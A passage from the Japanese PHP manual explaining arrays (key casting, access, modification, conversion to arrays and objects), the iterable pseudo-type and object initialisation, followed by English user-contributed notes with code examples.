);
var_dump($array);
?>

上の例の出力は以下となります。

array(1) {
  [1]=>
  string(1) "d"
}

上の例では、すべてのキーが 1 にキャストされます。 そして後から指定した値がどんどん前の値を上書きしていき、最終的には最後に代入された "d" だけが残ります。

PHP においては添字配列と連想配列の間に違いはなく、配列型は 1 つだけで、 同じ配列で整数のインデックスと文字列のインデックスを同時に使えます。

例3 整数と文字列のキーの混在例

<?php
$array = array(
    "foo" => "bar",
    "bar" => "foo",
    100   => -100,
    -100  => 100,
);
var_dump($array);
?>

上の例の出力は以下となります。

array(4) {
  ["foo"]=>
  string(3) "bar"
  ["bar"]=>
  string(3) "foo"
  [100]=>
  int(-100)
  [-100]=>
  int(100)
}

key はオプションです。省略した場合、PHP はこれまでに使われた整数のキーの中で最大のものに 1 を加えた値を使います。

例4 数値添字配列でキーを省略する例

<?php
$array = array("foo", "bar", "hello", "world");
var_dump($array);
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(5) "hello"
  [3]=>
  string(5) "world"
}

一部の要素にだけキーを指定することもできます。

例5 一部の要素にだけキーを指定する例

<?php
$array = array(
         "a",
         "b",
    6 => "c",
         "d",
);
var_dump($array);
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [6]=>
  string(1) "c"
  [7]=>
  string(1) "d"
}

ごらんの通り、最後の値である "d" のキーは 7 となります。それまでにキーとして使われた最大の整数が 6 だからです。

例6 複雑な型のキャストと上書きの例

以下の例は、型のキャストされた時と、要素が上書きされる時の全ての場合を示しています。

<?php
$array = array(
    1    => 'a',
    '1'  => 'b', // 値 "a" は "b" で上書きされます。
    1.5  => 'c', // 値 "b" は "c" で上書きされます。
    -1 => 'd',
    '01'  => 'e', // この値は数値文字列ではないので、キー1を上書きしません
    '1.5' => 'f', // この値は数値文字列ではないので、キー1を上書きしません
    true => 'g', // 値 "c" は "f" で上書きされます。
    false => 'h',
    '' => 'i',
    null => 'j', // 値 "h" は "i" で上書きされます。
    'k', // 値 "k" にはキー2が割り当てられます。なぜなら、これより前のキーの最大値は1だからです。
    2 => 'l', // 値 "k" は "l" で上書きされます。
);

var_dump($array);
?>

上の例の出力は以下となります。

array(7) {
  [1]=>
  string(1) "g"
  [-1]=>
  string(1) "d"
  ["01"]=>
  string(1) "e"
  ["1.5"]=>
  string(1) "f"
  [0]=>
  string(1) "h"
  [""]=>
  string(1) "j"
  [2]=>
  string(1) "l"
}

角括弧構文による配列要素へのアクセス

配列の要素へのアクセスには array[key] 構文を使います。

例7 配列の要素へのアクセス

<?php
$array = array(
    "foo" => "bar",
    42    => 24,
    "multi" => array(
         "dimensional" => array(
             "array" => "foo"
         )
    )
);

var_dump($array["foo"]);
var_dump($array[42]);
var_dump($array["multi"]["dimensional"]["array"]);
?>

上の例の出力は以下となります。

string(3) "bar"
int(24)
string(3) "foo"

注意:

角括弧と波括弧は、配列の要素にアクセスするときにはどちらも同じ意味で使えます (つまり、この例で $array[42] と $array{42} は同じものを表しているということです)。

例8 配列のデリファレンス

<?php
function getArray() {
    return array(1, 2, 3);
}

$secondElement = getArray()[1];

// または、このように書くことができます
list(, $secondElement) = getArray();
?>

注意:

配列に定義されていないキーへアクセスしたときの挙動は、 未定義の変数にアクセスしたときと同じです。 E_NOTICE メッセージが発行され、 返される結果は null となります。

注意:

配列で文字列以外のスカラー値をデリファレンスした場合は、 返される結果は null となります。 PHP 7.4.0 より前のバージョンでは、何もエラーは発生しませんでした。 PHP 7.4.0 以降では、E_NOTICE が発生します。 PHP 8.0.0 以降では、E_WARNING が発生します。

角括弧構文で作成/修正

明示的に値を設定することにより、既存の配列を修正することも可能です。

これは、角括弧の中にキーを指定し、配列に値を代入することにより行います。 キーを省略することも可能です。この場合、空の角括弧 ("[]") の変数名として追加してください。

$arr[キー] = 値;
$arr[] = 値;
// キー は 文字列 または
// 整数のどちらかです。
// 値 の型は、何でもかまいません。

$arr がまだ存在しない場合は、新しく作成します。 つまり、これは配列を作成する方法のひとつでもあります。 とはいえ、この方法を使うことはおすすめしません。なぜなら、既に $arr に何らかの値 (リクエスト変数からの文字列など) が入っている場合にはその値がそのまま残り、 [] が実際には 文字列アクセス演算子 を表してしまうからです。 変数を初期化するときには、直接代入するほうがよいでしょう。

注意: PHP 7.1.0 以降では、文字列に空のインデックス演算子を適用すると fatal エラーが発生するようになりました。 これまでのバージョンではエラーにならず、文字列が配列に変換されていました。

ある値を変更するには、 新しい値に値を代入します。特定のキー/値の組を削除したい場合には、 unset() を使用する必要があります。

<?php
$arr = array(5 => 1, 12 => 2);

$arr[] = 56;    // このスクリプトのこの位置に記述した場合、
                // $arr[13] = 56; と同じです

$arr["x"] = 42; // キー"x"の新しい要素を配列に追加します

unset($arr[5]); // 配列から要素を削除します

unset($arr);    // 配列全体を削除します
?>

注意:

上記のように、キーを省略して新規要素を追加する場合、 追加される数値添字は、使用されている添字の最大値 +1 (ただし、少なくとも 0 以上) になります。 まだ数値添字が存在しない場合は、添字は 0 (ゼロ) となります。

警告

PHP 4.3.0 以降、上記のような添字生成動作は変更されました。 現在では、配列に追加する際に、 その配列の最大添字が負である場合は次の添え字はゼロ (0) となります。 以前は、正の添字の場合と同様に新しい添字は最大添字に +1 したものがセットされました。

次のキー生成において、オフセットとして使われる整数値 (添字の最大値) に対応するエントリーが、 必ずしも配列内に存在するわけではないことに注意してください。 しかし、その値は、多くの場合、 配列にある整数のキー値の最大値と等しいはずです。以下に例を示します。

<?php
// 簡単な配列を生成します。
$array = array(1, 2, 3, 4, 5);
print_r($array);

// 全てのアイテムを削除しますが、配列自体は削除しないでおきます。
foreach ($array as $i => $value) {
    unset($array[$i]);
}
print_r($array);

// アイテムを追加します(新しい添え字は0ではなく
// 5となることに注意)
$array[] = 6;
print_r($array);

// 添え字を振りなおします。
$array = array_values($array);
$array[] = 7;
print_r($array);
?>

上の例の出力は以下となります。

Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)
Array
(
)
Array
(
    [5] => 6
)
Array
(
    [0] => 6
    [1] => 7
)

有用な関数

配列で使用する便利な関数がたくさんあります。 配列関数 の節を参照ください。

注意:

unset()関数は配列のキーを削除することが出来ます。 ただし、これによってインデックスの再構築が行われるわけではないことに 注意してください。 "通常の整数添字" (0 から始まり、1 つずつ増加) のみを使用している場合、 array_values() を用いてインデックスを再構築することができます。

<?php
$a = array(1 => 'one', 2 => 'two', 3 => 'three');
unset($a[2]);
/* これにより配列は以下の様に定義されます。
   $a = array(1 => 'one', 3 => 'three');
   以下ではありません：
   $a = array(1 => 'one', 2 =>'three');
*/

$b = array_values($a);
// $b は、array(0 => 'one', 1 =>'three')となります
?>

配列専用の制御構造として foreach があります。 この構造は、配列の要素に簡単に連続的にアクセスする手段を提供します。

配列ですべきこととしてはならないこと

なぜ、$foo[bar] は使用できないのか?

連想配列の添字の前後は常に引用符で括る必要があります。 例えば、$foo[bar] ではなく $foo['bar'] を使用してください。 しかし、$foo[bar] はなぜ誤りなのでしょうか? 古いスクリプトで次のような構文を見たことがあるかもしれません。

<?php
$foo[bar] = 'enemy';
echo $foo[bar];
// etc
?>

これは間違っていますが、動作します。では、なぜ間違っているのでしょう? それは、このコードには文字列 ('bar' - 引用符で括られている) ではなく未定義の定数 (bar) が使用されているためです。 下位互換性の維持のため、未定義の定数は同じ名前の文字列に自動的に変換されます。 そのため、このコードは動作します。 例えば、bar という名前の定義されていない定数があるとすると、 PHP は 'bar' という文字列でそれを置換して使用します。

警告

生の文字列を未定義の定数として扱う振る舞いは、PHP 7.2.0 以降では推奨されなくなり、 E_WARNING レベルの警告が発生するようになりました。 それ以前のバージョンでは、E_NOTICE レベルの警告が発生していました。

注意: これは、添字を常にクォートするという意味ではありません。 定数や 変数 を添字として使う際には、クォートしてしまうと PHP はそれを解釈できなくなってしまいます。

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('html_errors', false);
// 単純な配列
$array = array(1, 2);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
    echo "\nChecking $i: \n";
    echo "Bad: " . $array['$i'] . "\n";
    echo "Good: " . $array[$i] . "\n";
    echo "Bad: {$array['$i']}\n";
    echo "Good: {$array[$i]}\n";
}
?>

上の例の出力は以下となります。

Checking 0:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Bad:
Good: 1
Notice: Undefined index:  $i in /path/to/script.html on line 11
Bad:
Good: 1

Checking 1:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Bad:
Good: 2
Notice: Undefined index:  $i in /path/to/script.html on line 11
Bad:
Good: 2

この具体例を以下に示します。

<?php
// エラーを全て表示するよう設定
error_reporting(E_ALL);

$arr = array('fruit' => 'apple', 'veggie' => 'carrot');

// 正しい
print $arr['fruit'];  // apple
print $arr['veggie']; // carrot

// 間違い。これは動作しますが、未定義の定数fruitを使用しているため、
// 同時にE_NOTICEレベルのPHPエラーを発生します
//
// Notice: Use of undefined constant fruit - assumed 'fruit' in...
print $arr[fruit];    // apple

// 検証のため、定数を定義してみましょう。
// fruitという名前の定数に値'veggie'を代入します。
define('fruit', 'veggie');

// ここでは、出力が異なることに注意してください。
print $arr['fruit'];  // apple
print $arr[fruit];    // carrot

// 以下は文字列の中であるためOKです。定数は、文字列の中では解釈されな
// いため、E_NOTICEエラーはここでは発生しません。
print "Hello $arr[fruit]";      // Hello apple

// 例外が１つあり、文字列の中で波括弧で配列を括った場合には、
// 定数が解釈されます
print "Hello {$arr[fruit]}";    // Hello carrot
print "Hello {$arr['fruit']}";  // Hello apple

// これは動作せず、以下のようなパースエラーを発生します:
// Parse error: parse error, expecting T_STRING' or T_VARIABLE' or T_NUM_STRING'
// 文字列の中でスーパーグローバルを使用した場合も無論同様です。
print "Hello $arr['fruit']";
print "Hello $_GET['foo']";

// 文字列結合で同じことをすることもできます。
print "Hello " . $arr['fruit']; // Hello apple
?>

error_reporting() で (E_ALL を指定する等により) E_NOTICE レベルのエラー出力を有効にした場合、 上記のエラーが出力されます。 デフォルトでは、 error_reporting はこれらを表示しない設定になっています。

構文の節に記述したように、角括弧 ('[' および ']') の間には、式がなければなりません。これは、 次のように書くことが可能であることを意味します。

<?php
echo $arr[somefunc($bar)];
?>

これは、関数の戻り値を配列の添字として使用する例です。PHP は定数についても認識します。以下のような E_* の使用例を見たことがあるかもしれません。

<?php
$error_descriptions[E_ERROR]   = "A fatal error has occurred";
$error_descriptions[E_WARNING] = "PHP issued a warning";
$error_descriptions[E_NOTICE]  = "This is just an informal notice";
?>

最初の例の bar と全く同様に E_ERROR も有効な添字であることに注意してください。 しかし、実際には最後の例は次のように書くことと同じです。

<?php
$error_descriptions[1] = "A fatal error has occurred";
$error_descriptions[2] = "PHP issued a warning";
$error_descriptions[8] = "This is just an informal notice";
?>

これは、E_ERROR が 1 と等しいこと等によります。

では、なぜ $foo[bar] は動作することが可能なのでしょう? それは、bar が定数式であることを 期待される構文で使用されているためです。しかし、この場合、 bar という名前の定数は存在しません。PHP は、 この場合、あなたが文字列"bar" のようにリテラル bar を指定したが引用符を忘れたと仮定します。

では、なぜ間違っているのでしょう?

将来的に、PHP 開発チームが他の定数またはキーワードを追加したいと思うかもしれず、 問題となる可能性があります。例えば、現在でも、 単語 empty および defaultを使用することはできません。 これは、これらが特別な 予約済みのキーワードであるためです。

注意: 二重引用符で括られた文字列の中では 引用符で配列の添字を括らないことができ、このため、 "$foo[bar]" は有効です。 この理由の詳細については、上記の例や 文字列中での変数のパースを参照してください。

配列への変換

int, float, string, bool, resourceのいずれの型においても、 array に変換する場合、 最初のスカラー値が割り当てられている一つの要素 (添字は 0) を持つ配列を得ることになります。

objectを配列にする場合には、配列の要素として オブジェクトの属性 (メンバ変数) を持つ配列を得ることになります。 添字はメンバ変数名となりますが、いくつか注意すべき例外があります。 整数のプロパティはアクセス不能になります。 private 変数の場合、変数名の頭にクラス名がつきます。また、 protected 変数の場合は、変数名の頭に '*' がつきます。 このとき、頭に追加される値の前後に NUL バイトがついてきます。

<?php
class A {
    private $B;
    protected $C;
    public $D;
    function __construct()
    {
        $this->{1} = null;
    }
}
var_export((array) new A());
?>

上の例の出力は以下となります。

array (
  '' . "\0" . 'A' . "\0" . 'B' => NULL,
  '' . "\0" . '*' . "\0" . 'C' => NULL,
  'D' => NULL,
  1 => NULL,
)

これらの NUL バイトは、以下のような予期せぬ振る舞いをすることがあります:

<?php

class A {
    private $A; // これは '\0A\0A' となります
}

class B extends A {
    private $A; // これは '\0B\0A' となります
    public $AA; // これは 'AA' となります
}

var_dump((array) new B());
?>

上の例の出力は以下となります。

array(3) {
  ["BA"]=>
  NULL
  ["AA"]=>
  NULL
  ["AA"]=>
  NULL
}

上の例では 'AA' というキーがふたつあるように見えますが、 そのうちひとつは、実際は '\0A\0A' ということになります。

null を配列に変換すると、空の配列を得ます。

比較

array_diff() と 配列演算子 を用いると、配列を比較することができます。

例

PHP の配列型は、いろいろな使い方ができます。配列の強力な機能を示すため、 ここでいくつかの例を紹介します。

<?php
// これは、
$a = array( 'color' => 'red',
            'taste' => 'sweet',
            'shape' => 'round',
            'name'  => 'apple',
            4        // キーは0になります
          );

$b = array('a', 'b', 'c');

// は、完全にこれと同じです。
$a = array();
$a['color'] = 'red';
$a['taste'] = 'sweet';
$a['shape'] = 'round';
$a['name']  = 'apple';
$a[]        = 4;        // キーは0になります

$b = array();
$b[] = 'a';
$b[] = 'b';
$b[] = 'c';

// 上のコードを実行すると、$a は次のような配列
// array('color' => 'red', 'taste' => 'sweet', 'shape' => 'round',
// 'name' => 'apple', 0 => 4) となり、$b は
// array(0 => 'a', 1 => 'b', 2 => 'c') あるいは単に array('a', 'b', 'c') となります
?>

例9 array() の使用例

<?php
// マップを行う配列
$map = array( 'version'    => 4,
              'OS'         => 'Linux',
              'lang'       => 'english',
              'short_tags' => true
            );

// 数値キーのみを有する
$array = array( 7,
                8,
                0,
                156,
                -10
              );
// これは、array( 0 => 7, 1 => 8, ...) と同じです

$switching = array(         10, // key = 0
                    5    =>  6,
                    3    =>  7,
                    'a'  =>  4,
                            11, // key = 6 (最大の添字は5です)
                    '8'  =>  2, // key = 8 (整数!)
                    '02' => 77, // key = '02'
                    0    => 12  // 値10は12で上書きされます
                  );

// 空の配列
$empty = array();
?>

例10 コレクション

<?php
$colors = array('red', 'blue', 'green', 'yellow');

foreach ($colors as $color) {
    echo "Do you like $color?\n";
}

?>

上の例の出力は以下となります。

Do you like red?
Do you like blue?
Do you like green?
Do you like yellow?

配列を参照渡しすることでその値を直接変更できます。

例11 ループ内での要素の変更

<?php
foreach ($colors as &$color) {
    $color = strtoupper($color);
}
unset($color); /* これ以降の $color への書き込みが
配列の要素を書き換えてしまわないことを保証する */

print_r($colors);
?>

上の例の出力は以下となります。

Array
(
    [0] => RED
    [1] => BLUE
    [2] => GREEN
    [3] => YELLOW
)

この例は、1 から始まる配列を作成します。

例12 1 から始まる添字

<?php
$firstquarter  = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

上の例の出力は以下となります。

Array
(
    [1] => 'January'
    [2] => 'February'
    [3] => 'March'
)

例13 配列に代入する

<?php
// ディレクトリから全てのアイテムを配列に代入する
$handle = opendir('.');
while (false !== ($file = readdir($handle))) {
    $files[] = $file;
}
closedir($handle);
?>

配列には順番が付けられます。異なったソート関数を用いて順番を変更することも可能です。 より詳細な情報については、配列関数 を参照ください。 count() 関数を使用することで、 配列の要素数を数えることが可能です。

例14 配列のソート

<?php
sort($files);
print_r($files);
?>

配列の値は何でも良いため、その値を他の配列とすることも可能です。 これにより、再帰的な配列や多次元の配列を作成することが可能です。

例15 再帰および多次元配列

<?php
$fruits = array ( "fruits"  => array ( "a" => "orange",
                                       "b" => "banana",
                                       "c" => "apple"
                                     ),
                  "numbers" => array ( 1,
                                       2,
                                       3,
                                       4,
                                       5,
                                       6
                                     ),
                  "holes"   => array (      "first",
                                       5 => "second",
                                            "third"
                                     )
                );

// 上の配列の内容を取得するための例
echo $fruits["holes"][5];    // "second" を表示します
echo $fruits["fruits"]["a"]; // "orange" を表示します
unset($fruits["holes"][0]);  // "first"  を削除します

// 新しい多次元配列を作成します
$juices["apple"]["green"] = "good";
?>

配列への代入においては、常に値がコピーされることに注意してください。 配列をリファレンスでコピーする場合には、 リファレンス演算子を使う必要があります。

<?php
$arr1 = array(2, 3);
$arr2 = $arr1;
$arr2[] = 4; // $arr2 が変更されます。
             // $arr1 は array(2,3) のままです。

$arr3 = &$arr1;
$arr3[] = 4; // $arr1 と $arr3 は同じ内容になります。
?>

User Contributed Notes

ivail89 at mail dot ru 03-Feb-2021 08:12
Function unset can delete array's element by reference only when you specify source array. See example:
<?php
$array = [1, 2, 3, 4, 5];
foreach ($array as $k => &$v){
    if ($k >= 3){
        unset($v);
    }
}
echo count($array); // 5
?>
In this case unset delete only reference, however original array didn't change.

Or different example:
<?php
$arr = [1, 2];
$a = &$arr[0];
unset($a);
count($arr); // 2
?>

So for deleting element from first example need use key and array.
<?php
// ...
  unset($array[$k]);
// ...
?>
dylanfj700 at gmail dot com 10-Mar-2020 03:50
// Before php 5.4
$array = array(1,2,3);

// since php 5.4 , short syntax
$array = [1,2,3];

// I recommend using the short syntax if you have php version >= 5.4
gfr7oo at gmail dot com 27-Nov-2019 05:25
<?php
function getArray() {
    return array(1, 2, 3);
}

// on PHP 5.4
$secondElement = getArray()[1];

// previously
$tmp = getArray();
$secondElement = $tmp[1];

// or
list(, $secondElement) = getArray();
?>

Here list(, $secondElement) = getArray();
and list($secondElement) = getArray(); is the same thing
so you can avoid the "comma" to avoid the confusion.
Anonymous 22-Oct-2019 04:29
Wrappers for (array), returns array with normalize keys (without prefix):
<?php
function to_array_recursive($value): array
{
        if (! is_object($value)) {
                return (array) $value;
        }
        $class = get_class($value);
        $arr = [];
        foreact ((array)  $value as $key => $val) {
                $key = str_replace(["\0*\0", "\0{$class}\0"], '', $key);
                $arr[$key] = is_object($val) ? to_array_recursive($val) : $val;
        }
        return $arr;
}

function to_array($value): array
{
        $arr = (array) $value;
        if (! is_object($value)) {
                return $arr;
        }
        $class = get_class($value);
        $keys = str_replace(["\0*\0", "\0{$class}\0"], '', array_keys($arr));
        return array_combine($keys, $arr);
}
?>
Demo:
<?php
class Test
{
        protected $var = 1;
        protected $var2;
        private $TestVar = 3;

    public function __construct($isParent = true)
    {
        if ($isParent) {
            $this->var2 = new self(! $isParent);
        }
    }
}

$obj = new Test();
var_dump((array) $obj, to_array_recursive($obj));
?>
anisgazig at gmail dot com 11-Dec-2018 03:06
//array keys are always integer and string data type and array values are all data type
//type casting and overwriting(data type of array key)
//----------------------------------------------------
$arr = array(
1=>"a",//int(1)
"3"=>"b",//int(3)
"08"=>"c",//string(2)"08"
"80"=>"d",//int(80)
"0"=>"e",//int(0)
"Hellow"=>"f",//string(6)"Hellow"
"10Hellow"=>"h",//string(8)"10Hellow"
1.5=>"j",//int(1.5)
"1.5"=>"k",//string(3)"1.5"
0.0=>"l",//int(0)
false=>"m",//int(false)
true=>"n",//int(true)
"true"=>"o",//string(4)"true"
"false"=>"p",//string(5)"false"
null=>"q",//string(0)""
NULL=>"r",//string(0)"" note null and NULL are same
"NULL"=>"s",//string(4)"NULL" ,,,In last element of multiline array,comma is better to used.
);
//check the data type name of key
foreach ($arr as $key => $value) {
var_dump($key);
echo "<br>";
}

//NOte :array and object data type in keys are Illegal ofset.......
tissus 20-Mar-2018 02:19
In array(key=>value) construct key is also an expression.
This works fine:
  $a = array(
    1     =>0,
    1+1   =>1,
    $k    =>2,
    $x.'4'=>3
  );
Denise Ignatova 24-Dec-2017 10:57
When creating arrays , if we have an element with the same value as another element from the same array, we would expect PHP instead of creating new zval container to increase the refcount and point the duplicate symbol to the same zval. This is true except for value type integer.
Example:

$arr = ['bebe' => 'Bob', 'age' => 23, 'too' => 23 ];
xdebug_debug_zval( 'arr' );

Output:
arr:

(refcount=2, is_ref=0)
array (size=3)
  'bebe' => (refcount=1, is_ref=0)string 'Bob' (length=3)
  'age' => (refcount=0, is_ref=0)int 23
  'too' => (refcount=0, is_ref=0)int 23

but :
$arr = ['bebe' => 'Bob', 'age' => 23, 'too' => '23' ];
xdebug_debug_zval( 'arr' );

will produce:
arr:

(refcount=2, is_ref=0)
array (size=3)
  'bebe' => (refcount=1, is_ref=0)string 'Bob' (length=3)
  'age' => (refcount=0, is_ref=0)int 23
  'too' => (refcount=1, is_ref=0)string '23' (length=2)
or :

$arr = ['bebe' => 'Bob', 'age' => [1,2], 'too' => [1,2] ];
xdebug_debug_zval( 'arr' );

Output:
arr:

(refcount=2, is_ref=0)
array (size=3)
  'bebe' => (refcount=1, is_ref=0)string 'Bob' (length=3)
  'age' => (refcount=2, is_ref=0)
    array (size=2)
      0 => (refcount=0, is_ref=0)int 1
      1 => (refcount=0, is_ref=0)int 2
  'too' => (refcount=2, is_ref=0)
    array (size=2)
      0 => (refcount=0, is_ref=0)int 1
      1 => (refcount=0, is_ref=0)int 2
liberchen at gmail dot com 23-Nov-2017 03:34
Since PHP 7.1, the string will not be converted to array automatically.

Below codes will fail:

$a=array();
$a['a']='';
$a['a']['b']='';
//Warning: Illegal string offset 'b'
//Warning: Cannot assign an empty string to a string offset

You have to change to as below:

$a=array();

$a['a']=array(); // Declare it is an array first
$a['a']['b']='';
Yesterday php&#39;er 24-Feb-2017 03:22
--- quote ---
Note:
Both square brackets and curly braces can be used interchangeably for accessing array elements
--- quote end ---

At least for php 5.4 and 5.6; if function returns an array, the curly brackets does not work directly accessing function result, eg. WillReturnArray(){1} . This will give "syntax error, unexpected '{' in...".
Personally I use only square brackets, expect for accessing single char in string. Old habits...
thomas tulinsky 17-Feb-2016 08:10
I think your first, main example is needlessly confusing, very confusing to newbies:

$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

It should be removed.

For newbies:
An array index can be any string value, even a value that is also a value in the array.
The value of array["foo"] is "bar".
The value of array["bar"] is "foo"

The following expressions are both true:
$array["foo"] == "bar"
$array["bar"] == "foo"
note dot php dot lorriman at spamgourmet dot org 09-Jan-2014 03:01
There is another kind of array (php>=  5.3.0) produced by

$array = new SplFixedArray(5);

Standard arrays, as documented here, are marvellously flexible and, due to the underlying hashtable, extremely fast for certain kinds of lookup operation.

Supposing a large string-keyed array

$arr=['string1'=>$data1, 'string2'=>$data2 etc....]

when getting the keyed data with

$data=$arr['string1'];

php does *not* have to search through the array comparing each key string to the given key ('string1') one by one, which could take a long time with a large array. Instead the hashtable means that php takes the given key string and computes from it the memory location of the keyed data, and then instantly retrieves the data. Marvellous! And so quick. And no need to know anything about hashtables as it's all hidden away.

However, there is a lot of overhead in that. It uses lots of memory, as hashtables tend to (also nearly doubling on a 64bit server), and should be significantly slower for integer keyed arrays than old-fashioned (non-hashtable) integer-keyed arrays. For that see more on SplFixedArray :

http://uk3.php.net/SplFixedArray

Unlike a standard php (hashtabled) array, if you lookup by integer then the integer itself denotes the memory location of the data, no hashtable computation on the integer key needed. This is much quicker. It's also quicker to build the array compared to the complex operations needed for hashtables. And it uses a lot less memory as there is no hashtable data structure. This is really an optimisation decision, but in some cases of large integer keyed arrays it may significantly reduce server memory and increase performance (including the avoiding of expensive memory deallocation of hashtable arrays at the exiting of the script).
ivegner at yandex dot ru 28-Aug-2013 08:43
Note that objects of classes extending ArrayObject SPL class are treated as arrays, and not as objects when converting to array.

<?php
class ArrayObjectExtended extends ArrayObject
{
    private $private = 'private';
    public $hello = 'world';
}

$object = new ArrayObjectExtended();
$array = (array) $object;

// This will not expose $private and $hello properties of $object,
// but return an empty array instead.
var_export($array);
?>
chris at ocportal dot com 28-May-2013 09:01
Note that array value buckets are reference-safe, even through serialization.

<?php
$x='initial';
$test=array('A'=>&$x,'B'=>&$x);
$test=unserialize(serialize($test));
$test['A']='changed';
echo $test['B']; // Outputs "changed"
?>

This can be useful in some cases, for example saving RAM within complex structures.
mlvljr 20-May-2011 06:37
please note that when arrays are copied, the "reference status" of their members is preserved (http://www.php.net/manual/en/language.references.whatdo.php).
Walter Tross 12-Aug-2010 11:04
It is true that "array assignment always involves value copying", but the copy is a "lazy copy". This means that the data of the two variables occupy the same memory as long as no array element changes.

E.g., if you have to pass an array to a function that only needs to read it, there is no advantage at all in passing it by reference.
ken underscore yap atsign email dot com 09-Jan-2008 08:00
"If you convert a NULL value to an array, you get an empty array."

This turns out to be a useful property. Say you have a search function that returns an array of values on success or NULL if nothing found.

<?php $values = search(...); ?>

Now you want to merge the array with another array. What do we do if $values is NULL? No problem:

<?php $combined = array_merge((array)$values, $other); ?>

Voila.
ia [AT] zoznam [DOT] sk 30-Sep-2005 02:55
Regarding the previous comment, beware of the fact that reference to the last value of the array remains stored in $value after the foreach:

<?php
foreach ( $arr as $key => &$value )
{
    $value = 1;
}

// without next line you can get bad results...
//unset( $value );

$value = 159;
?>

Now the last element of $arr has the value of '159'. If we remove the comment in the unset() line, everything works as expected ($arr has all values of '1').

Bad results can also appear in nested foreach loops (the same reason as above).

So either unset $value after each foreach or better use the longer form:

<?php
foreach ( $arr as $key => $value )
{
    $arr[ $key ] = 1;
}
?>
caifara aaaat im dooaat be 28-Aug-2005 02:28
[Editor's note: You can achieve what you're looking for by referencing $single, rather than copying it by value in your foreach statement. See http://php.net/foreach for more details.]

Don't know if this is known or not, but it did eat some of my time and maybe it won't eat your time now...

I tried to add something to a multidimensional array, but that didn't work at first, look at the code below to see what I mean:

<?php

$a1 = array( "a" => 0, "b" => 1 );
$a2 = array( "aa" => 00, "bb" => 11 );

$together = array( $a1, $a2 );

foreach( $together as $single ) {
    $single[ "c" ] = 3 ;
}

print_r( $together );
/* nothing changed result is:
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
        )
) */

foreach( $together as $key => $value ) {
    $together[$key]["c"] = 3 ;
}

print_r( $together );

/* now it works, this prints
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
            [c] => 3
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
            [c] => 3
        )
)
*/

?>
jeff splat codedread splot com 21-Apr-2005 09:16
Beware that if you're using strings as indices in the $_POST array, that periods are transformed into underscores:

<html>
<body>
<?php
    printf("POST: "); print_r($_POST); printf("<br/>");
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
    <input type="hidden" name="Windows3.1" value="Sux">
    <input type="submit" value="Click" />
</form>
</body>
</html>

Once you click on the button, the page displays the following:

POST: Array ( [Windows3_1] => Sux )
lars-phpcomments at ukmix dot net 28-Mar-2005 08:40
Used to creating arrays like this in Perl?

@array = ("All", "A".."Z");

Looks like we need the range() function in PHP:

<?php
$array = array_merge(array('All'), range('A', 'Z'));
?>

You don't need to array_merge if it's just one range:

<?php
$array = range('A', 'Z');
?>


Iterable

Iterable は PHP 7.1 で導入された疑似型です。array、あるいは Traversable インターフェイスを実装したオブジェクトを 許容します。これらの型は、いずれも foreach で繰り返し可能であり、また、 ジェネレータ 内で yield from できます。

Iterable の使用

Iterable は、関数が値のセットを要求するものの、foreach とともに使うため、 値の形式は問わないことを示すパラメータ型として使用できます。値が、配列でも Traversable のインスタンスでもない場合は、 TypeError がスローされます。

例1 Iterable パラメータ型の例

<?php

function foo(iterable $iterable) {
    foreach ($iterable as $value) {
        // ...
    }
}

?>

Iterable として宣言されたパラメータは、null または配列をデフォルト値 として使用できます。

例2 Iterable パラメータのデフォルト値の例

<?php

function foo(iterable $iterable = []) {
    // ...
}

?>

Iterable は、繰り返し可能な値を関数が返すことを示すため、戻り値の型としても 使用できます。戻り値が、配列でも Traversable の インスタンスでもない場合、TypeError がスローされます。

例3 Iterable 戻り値の例

<?php

function bar(): iterable {
    return [1, 2, 3];
}

?>

戻り値の型として Iterable を宣言する関数は、ジェネレータ にもなります。

例4 Iterable 戻り値のジェネレータの例

<?php

function gen(): iterable {
    yield 1;
    yield 2;
    yield 3;
}

?>

Iterable 型の可変性

継承したクラス、あるいはインターフェイスを実装したクラスは、 パラメータ型に array や Traversable を使っている メソッドを Iterable に拡張できます。また、戻り値の型を Iterable から array や Traversable に縮小できます。

例5 Iterable 型の可変性の例

<?php

interface Example {
    public function method(array $array): iterable;
}

class ExampleImplementation implements Example {
    public function method(iterable $iterable): array {
        // パラメータが拡張され、戻り値が縮小された。
    }
}

?>

User Contributed Notes

j_jaberi at yahoo dot com 17-Dec-2019 12:44
Just to note:
Though objects may (or may not) be Traversable, the can use in foreach because implicit conversion to array
<?php
class Foo {
    public $a = 1;
    public $b = "Helo";
};

$bar = new Foo;

foreach($bar as $elm) {
    echo $elm . ' ';
}

?>
prints 1 Hello
Even
<?php
$bar = new stdClass
foreach($bar as $elm) {
    echo $elm . ' ';
}
?>
is correct.


オブジェクト

オブジェクトの初期化

オブジェクトを初期化するためには、new 命令によりオブジェクトのインスタンスを変数に作成します。

<?php
class foo
{
    function do_foo()
    {
        echo "foo を実行します。";
    }
}

$bar = new foo;
$bar->do_foo();
?>

詳細な事項については、 クラスおよびオブジェクト のセクションを参照ください。

オブジェクトへの変換

オブジェクトがオブジェクトに変換される場合はなにも修正されません。 オブジェクト以外の型の値がオブジェクトに変換される時には、stdClass というビルトインクラス（予めPHPの内部で定義されているクラス）のインスタンスが新しく生成されます。 その際、値が null の場合は新しいインスタンスは空となります。 また、配列がオブジェクトに変換される場合、配列のキーと値がそれぞれオブジェクトのプロパティ名とその値となります。 PHP 7.2.0 より前のバージョンでは、数値のキーの場合プロパティ名によるアクセスはできなかった点に注意して下さい。

<?php
$obj = (object) array('1' => 'foo');
var_dump(isset($obj->{'1'})); // PHP 7.2.0 以降は 'bool(true)' それより前は 'bool(false)'
